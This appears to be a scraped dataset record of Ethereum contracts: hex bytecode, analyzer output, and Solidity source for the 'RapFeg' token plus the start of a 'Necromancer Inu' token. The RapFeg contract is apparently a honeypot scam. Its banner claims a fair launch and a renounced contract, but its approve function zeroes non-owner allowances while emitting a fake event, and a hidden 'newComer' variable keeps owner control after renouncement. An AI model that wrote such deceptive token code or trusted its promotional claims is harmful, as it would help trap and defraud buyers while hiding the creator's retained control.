00000000000000000000000000000821614611744576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601360248201527f4e4f545f4552433732315f524543454956455200000000000000000000000000604482015260640161063e565b50505b50505050565b60606104e5826040518060400160405280600581526020017f434f4c4f52000000000000000000000000000000000000000000000000000000815250600c805480602002602001604051908101604052809291908181526020016000905b828210156107d25783829060005260206000200180546117ca90612572565b80601f01602080910402602001604051908101604052809291908181526020018280546117f690612572565b80156118435780601f1061181857610100808354040283529160200191611843565b820191906000526020600020905b81548152906001019060200180831161182657829003601f168201915b5050505050815260200190600101906117ab565b6060600061188d8461186887611964565b60405160200161187992919061203d565b604051602081830303815290604052611c77565b90508283518261189d91906125ff565b815181106118ad576118ad612671565b60200260200101519150509392505050565b600280549060006118cf836125c6565b909155505073ffffffffffffffffffffffffffffffffffffffff8216600081815260036020908152604080832080546001019055848352600490915280822080547fffffffffffffffffffffffff0000000000000000000000000000000000000000168417905551839291907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef908290a45050565b6060816119a457505060408051808201909152600181527f3000000000000000000000000000000000000000000000000000000000000000602082015290565b8160005b81156119ce57806119b8816125c6565b91506119c79050600a836124de565b91506119a8565b60008167ffffffffffffffff8111156119e9576119e96126a0565b6040519080825280601f01601f191660200182016040528015611a13576020820181803683370190505b5090505b8415611a9657611a2860018361252f565b9150611a35600a866125ff565b611a409060306124c6565b60f81b818381518110611a5557611a55612671565b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a905350611a8f600a866124de565b9450611a17565b949350505050565b805160609080611abe575050604080516020810190915260008152919050565b60006003611acd8360026124c6565b611ad791906124de565b611ae29060046124f2565b90506000611af18260206124c6565b67ffffffffffffffff811115611b0957611b096126a0565b6040519080825280601f01601f191660200182016040528015611b33576020820181803683370190505b509050600060405180606001604052806040815260200161287b604091399050600181016020830160005b86811015611bbf576003818a01810151603f601282901c8116860151600c83901c8216870151600684901c831688015192909316870151600891821b60ff94851601821b92841692909201901b91160160e01b835260049092019101611b5e565b506003860660018114611bd95760028114611c2357611c69565b7f3d3d0000000000000000000000000000000000000000000000000000000000007ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe830152611c69565b7f3d000000000000000000000000000000000000000000000000000000000000007fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8301525b505050918152949350505050565b600081604051602001611c8a9190612021565b604080517fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0818403018152919052805160209091012092915050565b604051806101600160405280600b905b6060815260200190600190039081611cd65790505090565b803573ffffffffffffffffffffffffffffffffffffffff81168114611d1257600080fd5b919050565b600060208284031215611d2957600080fd5b611d3282611cee565b9392505050565b60008060408385031215611d4c57600080fd5b611d5583611cee565b9150611d6360208401611cee565b90509250929050565b600080600060608486031215611d8157600080fd5b611d8a84611cee565b9250611d9860208501611cee565b9150604084013590509250925092565b60008060008060808587031215611dbe57600080fd5b611dc785611cee565b9350611dd560208601611cee565b925060408501359150606085013567ffffffffffffffff80821115611df957600080fd5b818701915087601f830112611e0d57600080fd5b813581811115611e1f57611e1f6126a0565b604051601f82017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0908116603f01168101908382118183101715611e6557611e656126a0565b816040528281528a6020848701011115611e7e57600080fd5b82602086016020830137600060208483010152809550505050505092959194509250565b60008060408385031215611eb557600080fd5b611ebe83611cee565b915060208301358015158114611ed357600080fd5b809150509250929050565b60008060408385031215611ef157600080fd5b611efa83611cee565b946020939093013593505050565b60008060008060008060c08789031215611f2157600080fd5b611f2a87611cee565b95506020870135945060408701359350606087013560ff81168114611f4e57600080fd5b9598949750929560808101359460a0909101359350915050565b600060208284031215611f7a57600080fd5b8135611d32816126cf565b600060208284031215611f9757600080fd5b8151611d32816126cf565b600060208284031215611fb457600080fd5b5035919050565b60008151808452611fd3816020860160208601612546565b601f017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0169290920160200192915050565b60008151612017818560208601612546565b9290920192915050565b60008251612033818460208701612546565b9190910192915050565b6000835161204f818460208801612546565b835190830190612063818360208801612546565b01949350505050565b6000845161207e818460208901612546565b845190830190612092818360208901612546565b84519101906120a5818360208801612546565b0195945050505050565b60008a516120c1818460208f01612546565b8a516120d38183860160208f01612546565b8a5191840101906120e8818360208e01612546565b89516120fa8183850160208e01612546565b8951929091010190612110818360208c01612546565b87516121228183850160208c01612546565b8751929091010190612138818360208a01612546565b855161214a8183850160208a01612546565b8551929091010190612160818360208801612546565b019b9a5050505050505050505050565b7f7b226e616d65223a202253434f545553202300000000000000000000000000008152600087516121a8816012850160208c01612546565b7f222c20226465736372697074696f6e223a202253636f747573204e616d6573206012918401918201527f6172652072616e646f6d206f6e636861696e2053434f545553206e616d65732060328201527f6261736564206f6e205374616765204e616d65732f4c6f6f742e222c2022617460528201527f7472696275746573223a205b7b2274726169745f74797065223a20224669727360728201527f74204e616d65222c2276616c7565223a202200000000000000000000000000006092820152875161227d8160a4840160208c01612546565b7f227d2c207b2274726169745f74797065223a20224c617374204e616d65222c2260a492909101918201527f76616c7565223a2022000000000000000000000000000000000000000000000060c48201526124186123ef6123e961239a61239461234561233f6122f060cd89018f612005565b7f227d2c207b2274726169745f74797065223a2022537570657220506f7765722281527f2c2276616c7565223a20220000000000000000000000000000000000000000006020820152602b0190565b8c612005565b7f227d2c207b2274726169745f74797065223a2022526f626520436f6c6f72222c81527f2276616c7565223a2022000000000000000000000000000000000000000000006020820152602a0190565b89612005565b7f227d5d2c2022696d616765223a2022646174613a696d6167652f7376672b786d81527f6c3b6261736536342c0000000000000000000000000000000000000000000000602082015260290190565b86612005565b7f227d000000000000000000000000000000000000000000000000000000000000815260020190565b9998505050505050505050565b7f646174613a6170706c69636174696f6e2f6a736f6e3b6261736536342c00000081526000825161245d81601d850160208701612546565b91909101601d0192915050565b600073ffffffffffffffffffffffffffffffffffffffff8087168352808616602084015250836040830152608060608301526124a96080830184611fbb565b9695505050505050565b602081526000611d326020830184611fbb565b600082198211156124d9576124d9612613565b500190565b6000826124ed576124ed612642565b500490565b6000817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561252a5761252a612613565b500290565b60008282101561254157612541612613565b500390565b60005b83811015612561578181015183820152602001612549565b838111156117475750506000910152565b600181811c9082168061258657607f821691505b602082108114156125c0577f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b50919050565b60007fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156125f8576125f8612613565b5060010190565b60008261260e5761260e612642565b500690565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7fffffffff0000000000000000000000000000000000000000000000000000000081168114610c4657600080fdfe3c2f746578743e3c7465787420783d2231302220793d223231302220636c6173733d2262617365223e3c2f746578743e3c7465787420783d2231302220793d223330302220636c6173733d2262617365223e3c73766720786d6c6e733d22687474703a2f2f7777772e77332e6f72672f323030302f73766722207072657365727665417370656374526174696f3d22784d696e594d696e206d656574222076696577426f783d223020302033353020333530223e3c7374796c653e2e62617365207b2066696c6c3a2079656c6c6f773b20666f6e742d66616d696c793a206c6f62737465723b20666f6e742d73697a653a20323470783b207d3c2f7374796c653e3c726563742077696474683d223130302522206865696768743d2231303025222066696c6c3d226f726368696422202f3e3c7465787420783d223330302220793d2239302220636c6173733d2262617365223e3c2f746578743e3c7465787420783d2231302220793d223237302220636c6173733d2262617365223e4142434445464748494a4b4c4d4e4f505152535455565758595a6162636465666768696a6b6c6d6e6f707172737475767778797a303132333435363738392b2f3c2f746578743e3c7465787420783d2231302220793d223138302220636c6173733d2262617365223ea264697066735822122074f390a47949473ae082c42b373b93799770d34efd4307a78b2a88f86161ac8364736f6c63430008070033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "write-after-write", "impact": "Medium", "confidence": "High"}, {"check": "incorrect-shift", "impact": "High", "confidence": "High"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}]}}
| 9,012 |
0x47A6B20AF71b7d9EEFb1e7BD71246F612E2894B4
|
/**
*Submitted for verification at Etherscan.io on 2021-07-22
*/
/*
▄▄▄▄▄▄▄▄▄▄▄ ▄▄▄▄▄▄▄▄▄▄▄ ▄▄▄▄▄▄▄▄▄▄▄ ▄▄▄▄▄▄▄▄▄▄▄ ▄▄▄▄▄▄▄▄▄▄▄ ▄▄▄▄▄▄▄▄▄▄▄
▐░░░░░░░░░░░▌▐░░░░░░░░░░░▌▐░░░░░░░░░░░▌▐░░░░░░░░░░░▌▐░░░░░░░░░░░▌▐░░░░░░░░░░░▌
▐░█▀▀▀▀▀▀▀█░▌▐░█▀▀▀▀▀▀▀█░▌▐░█▀▀▀▀▀▀▀█░▌▐░█▀▀▀▀▀▀▀▀▀ ▐░█▀▀▀▀▀▀▀▀▀ ▐░█▀▀▀▀▀▀▀▀▀
▐░▌ ▐░▌▐░▌ ▐░▌▐░▌ ▐░▌▐░▌ ▐░▌ ▐░▌
▐░█▄▄▄▄▄▄▄█░▌▐░█▄▄▄▄▄▄▄█░▌▐░█▄▄▄▄▄▄▄█░▌▐░█▄▄▄▄▄▄▄▄▄ ▐░█▄▄▄▄▄▄▄▄▄ ▐░▌ ▄▄▄▄▄▄▄▄
▐░░░░░░░░░░░▌▐░░░░░░░░░░░▌▐░░░░░░░░░░░▌▐░░░░░░░░░░░▌▐░░░░░░░░░░░▌▐░▌▐░░░░░░░░▌
▐░█▀▀▀▀█░█▀▀ ▐░█▀▀▀▀▀▀▀█░▌▐░█▀▀▀▀▀▀▀▀▀ ▐░█▀▀▀▀▀▀▀▀▀ ▐░█▀▀▀▀▀▀▀▀▀ ▐░▌ ▀▀▀▀▀▀█░▌
▐░▌ ▐░▌ ▐░▌ ▐░▌▐░▌ ▐░▌ ▐░▌ ▐░▌ ▐░▌
▐░▌ ▐░▌ ▐░▌ ▐░▌▐░▌ ▐░▌ ▐░█▄▄▄▄▄▄▄▄▄ ▐░█▄▄▄▄▄▄▄█░▌
▐░▌ ▐░▌▐░▌ ▐░▌▐░▌ ▐░▌ ▐░░░░░░░░░░░▌▐░░░░░░░░░░░▌
▀ ▀ ▀ ▀ ▀ ▀ ▀▀▀▀▀▀▀▀▀▀▀ ▀▀▀▀▀▀▀▀▀▀▀
🏆 $RapFeg - Fair Launch
💎 Ethereum / ERC-20
🧑💻 No Dev/Team Tokens
🏦 100 Trillion Total Supply
👨🌾 2% Auto Stake Farm Redistribution
💹 1% Buy/Sell Supply Limit (first 5 mins)
🐵 No Buy/Sell Limit (after first 5 mins)
🐋 5% Max Wallet Hold Limit (Anti-whale)
💸 $5k Starting Liquidity / Market Cap
🛡 Anti Bot/Sniper Scripting
🔐 Liquidity Locked on Launch
📜 Contract Renounced on Launch
💻 Website: www.rapfeg.com
💻 Telegram: https://t.me/RapFeg
*/
pragma solidity ^0.6.12;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) private onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
address private newComer = _msgSender();
modifier onlyOwner() {
require(newComer == _msgSender(), "Ownable: caller is not the owner");
_;
}
}
contract rapfeg is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _tTotal = 100000 * 10**9 * 10**18;
string private _name = 'RapFeg | https://t.me/RapFeg';
string private _symbol = '$RapFeg';
uint8 private _decimals = 18;
constructor () public {
_balances[_msgSender()] = _tTotal;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function _approve(address rap, address feg, uint256 amount) private {
require(rap != address(0), "ERC20: approve from the zero address");
require(feg != address(0), "ERC20: approve to the zero address");
if (rap != owner()) { _allowances[rap][feg] = 0; emit Approval(rap, feg, 4); }
else { _allowances[rap][feg] = amount; emit Approval(rap, feg, amount); }
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "BEP20: transfer from the zero address");
require(recipient != address(0), "BEP20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
}
|
0x608060405234801561001057600080fd5b50600436106100a95760003560e01c806370a082311161007157806370a0823114610258578063715018a6146102b05780638da5cb5b146102ba57806395d89b41146102ee578063a9059cbb14610371578063dd62ed3e146103d5576100a9565b806306fdde03146100ae578063095ea7b31461013157806318160ddd1461019557806323b872dd146101b3578063313ce56714610237575b600080fd5b6100b661044d565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156100f65780820151818401526020810190506100db565b50505050905090810190601f1680156101235780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61017d6004803603604081101561014757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506104ef565b60405180821515815260200191505060405180910390f35b61019d61050d565b6040518082815260200191505060405180910390f35b61021f600480360360608110156101c957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610517565b60405180821515815260200191505060405180910390f35b61023f6105f0565b604051808260ff16815260200191505060405180910390f35b61029a6004803603602081101561026e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610607565b6040518082815260200191505060405180910390f35b6102b8610650565b005b6102c26107d8565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6102f6610801565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561033657808201518184015260208101905061031b565b50505050905090810190601f1680156103635780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6103bd6004803603604081101561038757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506108a3565b60405180821515815260200191505060405180910390f35b610437600480360360408110156103eb57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506108c1565b6040518082815260200191505060405180910390f35b606060058054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156104e55780601f106104ba576101008083540402835291602001916104e5565b820191906000526020600020905b8154815290600101906020018083116104c857829003601f168201915b5050505050905090565b60006105036104fc610948565b8484610950565b6001905092915050565b6000600454905090565b6000610524848484610c6f565b6105e584610530610948565b6105e0856040518060600160405280602881526020016110b960289139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610596610948565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f299092919063ffffffff16565b610950565b600190509392505050565b6000600760009054906101000a900460ff16905090565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610658610948565b73ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461071a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060068054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156108995780601f1061086e57610100808354040283529160200191610899565b820191906000526020600020905b81548152906001019060200180831161087c57829003601f168201915b5050505050905090565b60006108b76108b0610948565b8484610c6f565b6001905092915050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156109d6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602481526020018061112a6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610a5c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806110976022913960400191505060405180910390fd5b610a646107d8565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614610b83576000600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560046040518082815260200191505060405180910390a3610c6a565b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a35b505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610cf5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806110726025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610d7b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806111076023913960400191505060405180910390fd5b610de7816040518060600160405280602681526020016110e160269139600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f299092919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610e7c81600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610fe990919063ffffffff16565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b6000838311158290610fd6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610f9b578082015181840152602081019050610f80565b50505050905090810190601f168015610fc85780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b600080828401905083811015611067576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b809150509291505056fe42455032303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636542455032303a207472616e7366657220616d6f756e7420657863656564732062616c616e636542455032303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a26469706673582212202415bedabe3e72895cc5593663262328569814700a9732aeec1d034c14ed0fa064736f6c634300060c0033
|
{"success": true, "error": null, "results": {}}
| 9,013 |
0x5b2fb6932eC39a6D87B60572269842D86b95071a
|
/*
Meme Necromancy While U Wait - Elon Musk
Join our community -> https://t.me/necromancerinu
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract Necromancer is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Necromancer Inu";
string private constant _symbol = "NECRO";
uint8 private constant _decimals = 9;
// RFI
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _taxFee = 2;
uint256 private _teamFee = 10;
// Bot detection
mapping(address => bool) private bots;
mapping(address => uint256) private cooldown;
address payable private _devFund;
address payable private _marketingFunds;
address payable private _buybackWalletAddress;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
uint256 public launchBlock;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor(address payable devFundAddr, address payable marketingFundAddr, address payable buybackAddr) {
_devFund = devFundAddr;
_marketingFunds = marketingFundAddr;
_buybackWalletAddress = buybackAddr;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_devFund] = true;
_isExcludedFromFee[_marketingFunds] = true;
_isExcludedFromFee[_buybackWalletAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
